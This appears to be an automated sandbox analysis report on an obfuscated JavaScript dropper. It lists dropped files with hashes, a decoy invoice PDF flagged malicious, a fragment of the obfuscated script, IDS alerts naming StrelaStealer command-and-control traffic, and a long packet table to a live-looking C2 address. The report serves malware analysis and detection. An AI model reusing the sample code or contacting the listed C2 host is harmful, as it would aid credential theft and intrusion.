Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\76e2b5ad-c220-4699-807e-6d3fe6d8ac07.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\9463e85f-6d14-4713-a031-00a258a677f3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18395), with CRLF line terminators
Entropy (8bit):	4.925224933643559
TrID:
File name:	1110167182254330320.js
File size:	21'910 bytes
MD5:	aca149ca95348a23a05a501d6eea015a
SHA1:	9bf8b154074946956b9fbd1ffbd41163c23d39ed
SHA256:	56fd1a4e1939b5da763ebf8fcca691bd132fac4c011fef6778d5387cc43f5f17
SHA512:	b4d1e782c0864b54aa0a115a57e8c482b7884cfdc3a95e4f7147b2f8b8f07f7697c531575de90c2f74c2ab6639bc2513b8fd0ffcf2ad1a70b069d3a1b79d3de0
SSDEEP:	384:Wq8hqfzJ1a5hjJi4ktBrnnC+W0f60uRSVbk:WVheElIG+sebk
TLSH:	5DA25F8D9552C9BC95D0F3F952CB04D220B472CDEBBCA4A52C873CA6A38CD9185E1F76
File Content Preview:	function oksdnojql(){emlxgg=[1031,3079,5127,4103,2055,3072];var ppwyhdd=this[mtnbdcjyc+wxnxc+xcask+yzqlgy+dmisy+qjsvxydgh+slwrsaxar+mlhdwkce](this[ifetxtxm+knolzkqne+jipfmxoh+xcask+wqvewvyr+mtnbdcjyc+mlhdwkce][okatu+xcask+dmisy+wxnxc+mlhdwkce+dmisy+fixrvq

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:50:43.361178+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49704	193.143.1.205	80	TCP
2025-01-11T08:50:43.361178+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.10	49704	193.143.1.205	80	TCP
2025-01-11T08:50:46.051483+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49716	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:50:42.530458927 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:42.537305117 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:42.537395954 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:42.561022997 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:42.566034079 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.360989094 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.361026049 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.361041069 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.361057043 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.361115932 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.361131907 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.361177921 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.361177921 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.361219883 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.361234903 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.361251116 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.361377001 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.361505032 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.363164902 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.368846893 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.412525892 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.418307066 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.418380022 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.418396950 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.420413971 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.457798004 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.484829903 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.484882116 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.484896898 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.484931946 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.484996080 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.485265017 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.485289097 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.485304117 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.485409975 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.485430002 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.485430002 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.485481977 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.486078024 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.486140013 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.486154079 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.486191988 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.486237049 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.486356020 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.486872911 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.486921072 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.486937046 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.486993074 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.487097025 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.487211943 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.487689018 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.487746000 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.487760067 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.487801075 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.508896112 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.508913994 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.508929968 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.508968115 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.508969069 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.508970022 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.551714897 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.592562914 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.592598915 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.592613935 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.593400955 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.608488083 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.608513117 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.608572960 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.608586073 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.608609915 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.608658075 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.608680010 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.608787060 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.609057903 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.609071970 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.609112978 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.609179974 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.609256983 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.609307051 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.609314919 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.609329939 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.609487057 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.609503031 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.609536886 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.610018015 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.610033989 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.610049963 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.610059977 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.610146999 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.610162973 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.610178947 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.610187054 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.610187054 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.610218048 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.610865116 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.610881090 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.610896111 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.611020088 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.611094952 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.611109018 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.611124039 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.611176968 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.611176968 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.611740112 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.611754894 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.611769915 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.611803055 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.611891985 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.611906052 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.611921072 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.611947060 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.612109900 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.612502098 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.612623930 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.612638950 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.612663984 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.612725973 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.612823963 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.612838984 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.612890005 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.612890005 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.613353968 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.613446951 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.613462925 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.613590956 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.613611937 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.613626957 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.613652945 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.613652945 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.613962889 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.614264011 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.663000107 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.663001060 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.683149099 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.716169119 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.716197968 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.716265917 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.716304064 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.716341019 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.716382980 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.716397047 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.716435909 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.716505051 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.716517925 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.716547966 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.732196093 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.732227087 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.732240915 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.732264996 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.732345104 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.732376099 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.732400894 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.732491016 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.732506990 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.732520103 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.732661009 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.732691050 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.732692003 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.732748985 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.732764006 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.732779026 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.732779980 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.732809067 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.732975006 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.732990026 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.733019114 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.733117104 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.733133078 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.733160973 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.733324051 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.733338118 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.733352900 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.733366966 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.733367920 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.733382940 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.733397007 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.733715057 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.733752012 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.733766079 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.733880043 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.733894110 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.733908892 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.733910084 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.733936071 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.734092951 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.734193087 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.734209061 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.734222889 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.734222889 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.734237909 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.734251976 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.734252930 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.734267950 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.734278917 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.734720945 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.734755993 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.734844923 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.734853983 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.734889984 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.735014915 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.735029936 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.735044956 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.735057116 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.735059977 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.735094070 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.735367060 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.735383987 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.735399008 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.735414028 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.735414982 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.735444069 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.735677004 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.735806942 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.735821962 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.735836983 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.735965014 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.735979080 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.735995054 CET	80	49704	193.143.1.205	192.168.2.10
